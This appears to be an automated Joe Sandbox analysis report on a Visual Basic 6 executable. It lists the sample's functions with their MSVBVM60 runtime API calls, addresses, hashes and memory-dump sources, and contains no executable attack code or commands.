Part of subcall function 00410180: __vbaLenBstr.MSVBVM60(?,?,00000000), ref: 004103DB
Part of subcall function 00410180: __vbaStrCat.MSVBVM60(?,0040614C,?,00000001,?,00000000), ref: 00410402
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,00000000), ref: 00410410
Part of subcall function 00410180: __vbaStrCat.MSVBVM60(0040614C,00000000,?,00000000), ref: 0041041C
Part of subcall function 00410180: __vbaStrMove.MSVBVM60(?,00000000), ref: 0041042A
Part of subcall function 00410180: __vbaInStr.MSVBVM60(00000001,00000000,?,00000000), ref: 00410433
Part of subcall function 00410180: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 00410459
Part of subcall function 00410180: __vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128,?,00000000), ref: 0041049A
Part of subcall function 00410180: __vbaSetSystemError.MSVBVM60(?,00000000,?,00000000), ref: 004104B0
Part of subcall function 00410180: __vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?,?,00000000), ref: 004104C9

__vbaFreeStrList.MSVBVM60(00000009,?,?,?,?,?,?,?,?,?,00000000), ref: 00408FCB
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00408FE7
__vbaStrMove.MSVBVM60 ref: 00408FF2
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409000
__vbaStrMove.MSVBVM60 ref: 0040900B
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409017
__vbaStrMove.MSVBVM60 ref: 00409022

Part of subcall function 00410180: FindCloseChangeNotification.KERNELBASE(?), ref: 004104ED
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60(0041054B), ref: 00410517
Part of subcall function 00410180: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041052F
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60 ref: 00410538
Part of subcall function 00410180: __vbaFreeStr.MSVBVM60 ref: 00410544

__vbaFreeStrList.MSVBVM60(00000003,?,?,?,00000000), ref: 0040903C
__vbaStrCat.MSVBVM60(00000000,0040614C), ref: 00409057
__vbaStrMove.MSVBVM60 ref: 00409062
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409070
__vbaStrMove.MSVBVM60 ref: 0040907B
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409087
__vbaStrMove.MSVBVM60 ref: 00409092
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 004090A0
__vbaStrMove.MSVBVM60 ref: 004090AB
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 004090B8
__vbaStrMove.MSVBVM60 ref: 004090C3
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 004090CF
__vbaStrMove.MSVBVM60 ref: 004090DA
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 004090E8
__vbaStrMove.MSVBVM60 ref: 004090F3
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409101
__vbaStrMove.MSVBVM60 ref: 0040910C
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409118
__vbaStrMove.MSVBVM60 ref: 00409123
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409130
__vbaStrMove.MSVBVM60 ref: 0040913B
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00409149
__vbaStrMove.MSVBVM60 ref: 00409154
__vbaStrCat.MSVBVM60(0040614C,00000000), ref: 00409160
__vbaStrMove.MSVBVM60 ref: 0040916B
__vbaFreeStrList.MSVBVM60(0000000C,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004091A9
__vbaStrCmp.MSVBVM60(00000000,00000000), ref: 004091D2
#580.MSVBVM60(00000000,00000027,00000000,00000000,0041B088,00000000), ref: 00409245
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040925D
#600.MSVBVM60(00000008,00000000), ref: 00409273
__vbaFreeVar.MSVBVM60 ref: 00409282
__vbaSetSystemError.MSVBVM60 ref: 004092A4
__vbaStrCopy.MSVBVM60 ref: 004092B9
__vbaStrMove.MSVBVM60(?), ref: 004092CD
__vbaStrCopy.MSVBVM60 ref: 004092DA
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 004092EA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040930E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405A00,0000005C), ref: 00409354
__vbaErrorOverflow.MSVBVM60 ref: 0040ABAC
__vbaChkstk.MSVBVM60(?,004025E6), ref: 0040ABDE
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 0040AC25

Strings

D, xrefs: 004091B2

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Free$Error$ListSystem$Ansi$Copy$Chkstk$#525#580#600#616BoundsBstrChangeCheckCloseConstruct2DestructFindGenerateHresultNotificationOverflowUnicode
String ID: D
API String ID: 4167556621-2746444292
Opcode ID: 11f9facc399d33ccd5957aa5b8bc6d7bb7eda86f6c6e8ffcf1e3eddd6603bfbf
Instruction ID: 28a137cb3eb25e758eafbfe2ee42426fba9f6ce594aea99c4a1f109bb6dd76d7
Opcode Fuzzy Hash: 11f9facc399d33ccd5957aa5b8bc6d7bb7eda86f6c6e8ffcf1e3eddd6603bfbf
Instruction Fuzzy Hash: 7CE1B876900104EFD705EBE0EE989DF7BB9EB4C301B10812AF617A7264DF745A45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004125A0 Relevance: 54.2, APIs: 36, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,?,004087E7,00000000), ref: 004125BE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 004125EB
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 004125FA
#648.MSVBVM60(0000000A), ref: 00412619
__vbaFreeVar.MSVBVM60 ref: 00412628
__vbaI2I4.MSVBVM60(?), ref: 0041263C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041264A
__vbaI2I4.MSVBVM60 ref: 0041265A
#570.MSVBVM60(00000000), ref: 00412661
__vbaLenBstr.MSVBVM60(00404B24), ref: 0041266E
__vbaLenBstr.MSVBVM60(00404B24), ref: 004126A5
#525.MSVBVM60(00000000), ref: 004126AC
__vbaStrMove.MSVBVM60 ref: 004126B7
__vbaI2I4.MSVBVM60 ref: 004126C7
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 004126D2
__vbaI2I4.MSVBVM60 ref: 004126E2
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 004126EF

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 0041270A
__vbaStrCopy.MSVBVM60 ref: 00412728
__vbaStrMove.MSVBVM60(00000003), ref: 00412739
#616.MSVBVM60(00000000), ref: 00412740
__vbaStrMove.MSVBVM60 ref: 0041274B

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrMove.MSVBVM60(?,00000000), ref: 00412760
__vbaStrCmp.MSVBVM60(00000000), ref: 00412767
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,00000000), ref: 0041278E

Part of subcall function 0040EE70: __vbaStrCopy.MSVBVM60 ref: 0040F13C
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E

__vbaStrMove.MSVBVM60(?), ref: 004127B4
__vbaStrMove.MSVBVM60(00000004), ref: 004127D5
#618.MSVBVM60(00000000), ref: 004127DC
__vbaStrMove.MSVBVM60 ref: 004127E7
__vbaI4Str.MSVBVM60(00000000), ref: 004127EE
__vbaFreeStrList.MSVBVM60(00000003,?,?,00000000), ref: 00412805
__vbaI2I4.MSVBVM60 ref: 00412838
__vbaFileClose.MSVBVM60(00000000), ref: 0041283F
__vbaFreeStr.MSVBVM60(00412888), ref: 00412878
__vbaFreeStr.MSVBVM60 ref: 00412881
__vbaErrorOverflow.MSVBVM60 ref: 0041289E

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$FreeMove$#516#631BstrCopyFile$ErrorList$#525#537#570#616#618#648ChkstkCloseGet3OpenOverflowSeek
String ID:
API String ID: 1066637744-0
Opcode ID: 340591075b346b5ba6fee1fbb1c14d57b1d27844eec09d86ed4196eac17be608
Instruction ID: 32f108f087d7d4630656b8080de6af3654730a431ac790d0d60a92850006a6c2
Opcode Fuzzy Hash: 340591075b346b5ba6fee1fbb1c14d57b1d27844eec09d86ed4196eac17be608
Instruction Fuzzy Hash: 3A81B5B1D00248EBDB04DFE4DE58BDEBBB4BB48305F10852AE612B76A0DB745A45CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040FBA0 Relevance: 40.4, APIs: 22, Strings: 1, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6,?,?,00000000,?,00000000,004025E6), ref: 0040FBBE
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,004025E6,?), ref: 0040FBEE

Part of subcall function 0040F8F0: __vbaStrToAnsi.MSVBVM60(?,00000000,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F92B
Part of subcall function 0040F8F0: __vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F939
Part of subcall function 0040F8F0: __vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F944
Part of subcall function 0040F8F0: __vbaFreeStr.MSVBVM60(?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F94D

#580.MSVBVM60(00000000,00000000,00000000,?,00000000,?,00000000,004025E6,?), ref: 0040FC1A
#529.MSVBVM60(00004008), ref: 0040FC38
#609.MSVBVM60(00000000,00000000,?,00000000,?,00000000,004025E6,?), ref: 0040FC65
__vbaStrMove.MSVBVM60(?,00000000,?,00000000,004025E6,?), ref: 0040FC70
__vbaVarDup.MSVBVM60 ref: 0040FC8A
#709.MSVBVM60(00000000,004055FC,000000FF,00000000,?), ref: 0040FCBF
#616.MSVBVM60(00000000,00000000), ref: 0040FCCC
__vbaStrMove.MSVBVM60 ref: 0040FCD7
#650.MSVBVM60(00000008,?,00000001,00000001,00000000), ref: 0040FCEA
__vbaStrMove.MSVBVM60 ref: 0040FCF5
__vbaStrCat.MSVBVM60(00000000), ref: 0040FCFC
__vbaStrMove.MSVBVM60 ref: 0040FD07
#535.MSVBVM60(00000000), ref: 0040FD0E
__vbaStrR4.MSVBVM60 ref: 0040FD18
__vbaStrMove.MSVBVM60 ref: 0040FD23
__vbaStrCat.MSVBVM60(00000000), ref: 0040FD2A
__vbaStrMove.MSVBVM60 ref: 0040FD35
__vbaNameFile.MSVBVM60(00000000), ref: 0040FD3C
__vbaFreeStrList.MSVBVM60(00000006,?,00000000,?,?,?,00000000), ref: 0040FD5C
__vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,?,00000000,?,00000000,004025E6,?), ref: 0040FD6F

Strings

yymmdd, xrefs: 0040FC76

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Free$ErrorList$#529#535#580#609#616#650#709AnsiChkstkFileNameSystemUnicode
String ID: yymmdd
API String ID: 2807397001-2871001947
Opcode ID: e917d64518279be88331d0eee65286a09dc515aaab7a2e939e415087cab1bec9
Instruction ID: f15f1b85a0f637e4cae317bac7f6929bfb3b2a163c4115d7559e6a64fae5d6e2
Opcode Fuzzy Hash: e917d64518279be88331d0eee65286a09dc515aaab7a2e939e415087cab1bec9
Instruction Fuzzy Hash: 6951E9B5900208EBDB04DFE4DD98BDEBBB8BF48305F108129F506BB6A0DB745A49CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8F0 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F92B
__vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F939
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F944
__vbaFreeStr.MSVBVM60(?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F94D

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: bba16db9fe18d1294021216763c91cb410f3f25e548062a572f5b041e07ffa40
Instruction ID: 20dc9a41ebc36c65f54ff828c917c87bbfccee6e827f5727337c9189070ed0dc
Opcode Fuzzy Hash: bba16db9fe18d1294021216763c91cb410f3f25e548062a572f5b041e07ffa40
Instruction Fuzzy Hash: 05015EB1900205AFCB149FA8C94AB6E7BB8EB44700F50453AF555F3290D73899458B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9A0 Relevance: 6.0, APIs: 4, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaStrToAnsi.MSVBVM60(?,00000000,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F9DB
__vbaSetSystemError.MSVBVM60(00000000,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F9E9
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F9F4
__vbaFreeStr.MSVBVM60(?,00000000,?,?,?,?,00000000,004025E6,00000000), ref: 0040F9FD

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$AnsiErrorFreeSystemUnicode
String ID:
API String ID: 1195834276-0
Opcode ID: 65e89174baaba1573401519e836ee25ddfce7923bb9d535aed6c714f1c2090de
Instruction ID: 19c458602e53a293f3e6311b0924b7b74753bb6bdf76692d44a87d1e904a729f
Opcode Fuzzy Hash: 65e89174baaba1573401519e836ee25ddfce7923bb9d535aed6c714f1c2090de
Instruction Fuzzy Hash: 87019E71A00205AFCB049BB8CD4AA6F7BB8FB48740F50413AF515F32D0D73899058B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040290C Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(00403ADC), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: 888c60d2457cf6dbd883993a77a6020c9e73b0fd5a151ae3ce4b865bcf7f8659
Instruction ID: 67256ad5df038b3606e19c3fd4962ab61de0c6f9014364b0e1939c668627c31a
Opcode Fuzzy Hash: 888c60d2457cf6dbd883993a77a6020c9e73b0fd5a151ae3ce4b865bcf7f8659
Instruction Fuzzy Hash: 14F0139628E3C60EC303576409269487F705D4316030A42EBD1C5DF0E3D298494AC767

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00412C10 Relevance: 684.7, APIs: 386, Strings: 4, Instructions: 2188COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(?,00000000), ref: 00412E3F
__vbaStrCopy.MSVBVM60(?,00000000), ref: 00412E47
__vbaOnError.MSVBVM60(00000001,?,00000000), ref: 00412E4B
__vbaRecUniToAnsi.MSVBVM60(00405CF4,?,?,00000160,00000101,?,00000000), ref: 00412E76
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,?,00000000), ref: 00412E89
__vbaSetSystemError.MSVBVM60(00000000,?,00000000), ref: 00412E95
__vbaRecAnsiToUni.MSVBVM60(00405CF4,?,?,?,00000000), ref: 00412EAE
__vbaRecUniToAnsi.MSVBVM60(00405CF4,?,?,00000160,00000100,?,00000000), ref: 00412EE7
__vbaStrToAnsi.MSVBVM60(?,?,00000000,00000000,?,00000000), ref: 00412EFA
__vbaSetSystemError.MSVBVM60(00000000,?,00000000), ref: 00412F06
__vbaRecAnsiToUni.MSVBVM60(00405CF4,?,?,?,00000000), ref: 00412F1F
__vbaStrToUnicode.MSVBVM60(?,?,?,00000000), ref: 00412F30
__vbaFreeStr.MSVBVM60(?,00000000), ref: 00412F3C
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,00000278,?,00000000), ref: 00412F62
__vbaI2I4.MSVBVM60(?,00000000), ref: 00412F71
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,0000011C,?,00000000), ref: 00412F91
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,00000084,?,00000000), ref: 00412FDC
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,0000008C,?,00000000), ref: 00413024
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,00000154,?,00000000), ref: 00413049
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,00000050,?,00000000), ref: 0041306D
__vbaHresultCheckObj.MSVBVM60(00000000,660E6C4A,004074A0,000000E0,?,00000000), ref: 004130A3
__vbaSetSystemError.MSVBVM60(?,00000000,00000000,?,?,?,00000000,00000000,00000003,?,00000000), ref: 004130C9
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004074A0,00000264,?,00000000), ref: 004130FE
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 00413110
__vbaRedim.MSVBVM60(00000180,00000004,?,00000008,00000002,00000003,00000000,?,00000000,?,00000000), ref: 00413138
__vbaI2I4.MSVBVM60 ref: 0041314C
__vbaI2I4.MSVBVM60 ref: 0041317F
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004074A0,00000284), ref: 0041320C
__vbaI2I4.MSVBVM60(?,?), ref: 00413234
__vbaI2I4.MSVBVM60(?,?), ref: 00413252
__vbaI2I4.MSVBVM60(?,?), ref: 00413270
#537.MSVBVM60(00000000,?), ref: 004132B6
__vbaStrMove.MSVBVM60 ref: 004132C0
__vbaStrCat.MSVBVM60(00000000), ref: 004132C3
__vbaStrMove.MSVBVM60 ref: 004132CD
#537.MSVBVM60(00000000,00000000), ref: 004132D2
__vbaStrMove.MSVBVM60 ref: 004132DC
__vbaStrCat.MSVBVM60(00000000), ref: 004132DF
__vbaStrMove.MSVBVM60 ref: 004132E9
#537.MSVBVM60(00000000,00000000), ref: 004132EE
__vbaStrMove.MSVBVM60 ref: 004132F8
__vbaStrCat.MSVBVM60(00000000), ref: 004132FB
__vbaStrMove.MSVBVM60 ref: 00413305
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0041332C
#537.MSVBVM60(?,?), ref: 00413355
__vbaStrMove.MSVBVM60 ref: 0041335F
__vbaStrCat.MSVBVM60(00000000), ref: 00413362
__vbaStrMove.MSVBVM60 ref: 0041336C
#537.MSVBVM60(?,00000000), ref: 00413377
__vbaStrMove.MSVBVM60 ref: 00413381
__vbaStrCat.MSVBVM60(00000000), ref: 00413384
__vbaStrMove.MSVBVM60 ref: 0041338E
#537.MSVBVM60(?,00000000), ref: 00413399
__vbaStrMove.MSVBVM60 ref: 004133A3
__vbaStrCat.MSVBVM60(00000000), ref: 004133A6
__vbaStrMove.MSVBVM60 ref: 004133B0
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 004133D7
__vbaI2I4.MSVBVM60 ref: 00413434
__vbaGenerateBoundsError.MSVBVM60 ref: 00413487
__vbaGenerateBoundsError.MSVBVM60 ref: 0041349F
__vbaGenerateBoundsError.MSVBVM60 ref: 004134BF
__vbaStrCopy.MSVBVM60 ref: 004134D2
__vbaI2I4.MSVBVM60 ref: 00413516
__vbaI2I4.MSVBVM60 ref: 00413548
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,004074A0,00000284), ref: 004135CC
__vbaGenerateBoundsError.MSVBVM60 ref: 00413610
_adj_fdiv_m64.MSVBVM60 ref: 00413645
__vbaR8IntI4.MSVBVM60 ref: 00413654
__vbaGenerateBoundsError.MSVBVM60 ref: 00413667
__vbaGenerateBoundsError.MSVBVM60 ref: 0041368D
__vbaStrCmp.MSVBVM60(004074B4,00000000), ref: 0041369E
__vbaGenerateBoundsError.MSVBVM60 ref: 004136D5
_adj_fdiv_m64.MSVBVM60 ref: 00413706
__vbaR8IntI4.MSVBVM60 ref: 00413715
__vbaGenerateBoundsError.MSVBVM60 ref: 00413728
__vbaGenerateBoundsError.MSVBVM60 ref: 00413748
__vbaStrCopy.MSVBVM60 ref: 00413757
__vbaGenerateBoundsError.MSVBVM60 ref: 00413786
_adj_fdiv_m64.MSVBVM60 ref: 004137B7
__vbaR8IntI4.MSVBVM60 ref: 004137C6
__vbaGenerateBoundsError.MSVBVM60 ref: 004137D9
__vbaGenerateBoundsError.MSVBVM60 ref: 004137F9
__vbaGenerateBoundsError.MSVBVM60 ref: 0041382A
_adj_fdiv_m64.MSVBVM60 ref: 0041385F
__vbaR8IntI4.MSVBVM60 ref: 0041386E
__vbaGenerateBoundsError.MSVBVM60 ref: 00413885
__vbaGenerateBoundsError.MSVBVM60 ref: 004138B8
__vbaGenerateBoundsError.MSVBVM60 ref: 00413900
_adj_fdiv_m64.MSVBVM60 ref: 00413935
__vbaR8IntI4.MSVBVM60 ref: 00413944
__vbaGenerateBoundsError.MSVBVM60 ref: 00413957
__vbaGenerateBoundsError.MSVBVM60 ref: 0041397D
__vbaStrCmp.MSVBVM60(004074B4,00000000), ref: 0041398E
__vbaGenerateBoundsError.MSVBVM60 ref: 004139C5
_adj_fdiv_m64.MSVBVM60 ref: 004139F6
__vbaR8IntI4.MSVBVM60 ref: 00413A05
__vbaGenerateBoundsError.MSVBVM60 ref: 00413A18
__vbaGenerateBoundsError.MSVBVM60 ref: 00413A38
__vbaStrCopy.MSVBVM60 ref: 00413A47
__vbaGenerateBoundsError.MSVBVM60 ref: 00413A76
_adj_fdiv_m64.MSVBVM60 ref: 00413AA7
__vbaR8IntI4.MSVBVM60 ref: 00413AB6
__vbaGenerateBoundsError.MSVBVM60 ref: 00413AC9
__vbaGenerateBoundsError.MSVBVM60 ref: 00413AE9
__vbaGenerateBoundsError.MSVBVM60 ref: 00413B1A
_adj_fdiv_m64.MSVBVM60 ref: 00413B4F
__vbaR8IntI4.MSVBVM60 ref: 00413B5E
__vbaGenerateBoundsError.MSVBVM60 ref: 00413B75
__vbaGenerateBoundsError.MSVBVM60 ref: 00413B93
__vbaStrCat.MSVBVM60(00406E00,00000000), ref: 00413BB0
__vbaStrMove.MSVBVM60 ref: 00413BBA
__vbaStrCopy.MSVBVM60 ref: 00413BC6
__vbaFreeStr.MSVBVM60 ref: 00413BD2
__vbaI2I4.MSVBVM60 ref: 00413C2A
__vbaGenerateBoundsError.MSVBVM60 ref: 00413C79
__vbaGenerateBoundsError.MSVBVM60 ref: 00413C91
__vbaGenerateBoundsError.MSVBVM60 ref: 00413CAD
__vbaStrCmp.MSVBVM60(004074B4,00000000), ref: 00413CC2
__vbaGenerateBoundsError.MSVBVM60 ref: 00413CF5
__vbaGenerateBoundsError.MSVBVM60 ref: 00413D0D
__vbaGenerateBoundsError.MSVBVM60 ref: 00413D29
#537.MSVBVM60(?,?), ref: 00413D49
__vbaStrMove.MSVBVM60(?,?), ref: 00413D57
__vbaStrCat.MSVBVM60(00000000,?,?), ref: 00413D5A
__vbaStrMove.MSVBVM60(?,?), ref: 00413D64
__vbaFreeStr.MSVBVM60(?,?), ref: 00413D6C
__vbaStrCat.MSVBVM60(?,?), ref: 00413DC0
__vbaStrMove.MSVBVM60 ref: 00413DCA
#537.MSVBVM60(00000000), ref: 00413DCE
_adj_fdiv_m64.MSVBVM60(00000008,?), ref: 00413E47
__vbaLenBstr.MSVBVM60(?,00000008,?), ref: 00413E72
__vbaFpI4.MSVBVM60(?,00000008,?), ref: 00413EA0
#606.MSVBVM60(00000000,?,00000008,?), ref: 00413EAD
